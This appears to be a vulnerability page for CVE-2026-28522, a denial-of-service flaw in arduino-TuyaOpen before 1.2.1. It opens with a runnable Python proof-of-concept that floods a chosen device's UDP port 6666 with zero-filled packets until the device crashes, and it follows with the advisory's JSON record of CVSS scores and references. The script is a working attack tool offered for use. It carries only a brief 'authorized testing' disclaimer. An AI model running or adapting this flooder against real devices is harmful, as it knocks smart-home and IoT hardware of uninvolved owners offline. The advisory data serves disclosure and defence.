CVE-2026-28522

#!/usr/bin/env python3 # CVE-2026-28522 PoC - arduino-TuyaOpen WiFiUDP Null Pointer Dereference # Target: arduino-TuyaOpen < 1.2.1 devices on local network # Note: This PoC is for educational and authorized testing purposes only import socket import time import struct import sys def send_malicious_udp_packets(target_ip, target_port=6666, duration=30, packet_size=1024): """ Send large volume of malicious UDP packets to trigger memory exhaustion and null pointer dereference in WiFiUDP component """ print(f"[*] Starting CVE-2026-28522 exploit against {target_ip}:{target_port}") print(f"[*] Sending malformed UDP packets for {duration} seconds...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) # Malformed UDP payload designed to trigger memory exhaustion # in WiFiUDP component payload = b'\x00' * packet_size start_time = time.time() packet_count = 0 try: while time.time() - start_time < duration: try: # Send malformed UDP packet sock.sendto(payload, (target_ip, target_port)) packet_count += 1 if packet_count % 1000 == 0: print(f"[+] Sent {packet_count} packets...") # Short delay to avoid socket buffer overflow time.sleep(0.001) except Exception as e: print(f"[!] Error sending packet: {e}") continue except KeyboardInterrupt: print("\n[!] Exploit interrupted by user") finally: sock.close() elapsed = time.time() - start_time print(f"\n[*] Attack completed") print(f"[*] Total packets sent: {packet_count}") print(f"[*] Duration: {elapsed:.2f} seconds") print(f"[*] Target may experience DoS condition due to null pointer dereference") def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2026-28522-poc.py <target_ip> [port] [duration]") print("Example: python3 cve-2026-28522-poc.py 192.168.1.100 6666 30") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 6666 duration = int(sys.argv[3]) if len(sys.argv) > 3 else 30 send_malicious_udp_packets(target_ip, target_port, duration) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-28522", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:28.760", "lastModified": "2026-03-17T20:27:41.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "arduino-TuyaOpen before version 1.2.1 contains a null pointer dereference vulnerability in the WiFiUDP component. An attacker on the same local area network can send a large volume of malicious UDP packets to cause memory exhaustion on the device, triggering a null pointer dereference and resulting in a denial-of-service condition."}, {"lang": "es", "value": "arduino-TuyaOpen anterior a la versión 1.2.1 contiene una vulnerabilidad de desreferencia de puntero nulo en el componente WiFiUDP. Un atacante en la misma red de área local puede enviar un gran volumen de paquetes UDP maliciosos para causar agotamiento de memoria en el dispositivo, desencadenando una desreferencia de puntero nulo y resultando en una condición de denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tuya:arduino-tuyaopen:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.1", "matchCriteriaId": "8DCD3B50-3018-4B34-AB9B-16C0FB32AF4A"}]}]}], "references": [{"url": "https://github.com/tuya/arduino-TuyaOpen", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://src.tuya.com/announcement/32", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/arduino-tuyaopen-wifiudp-null-pointer-dereference-denial-of-service", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}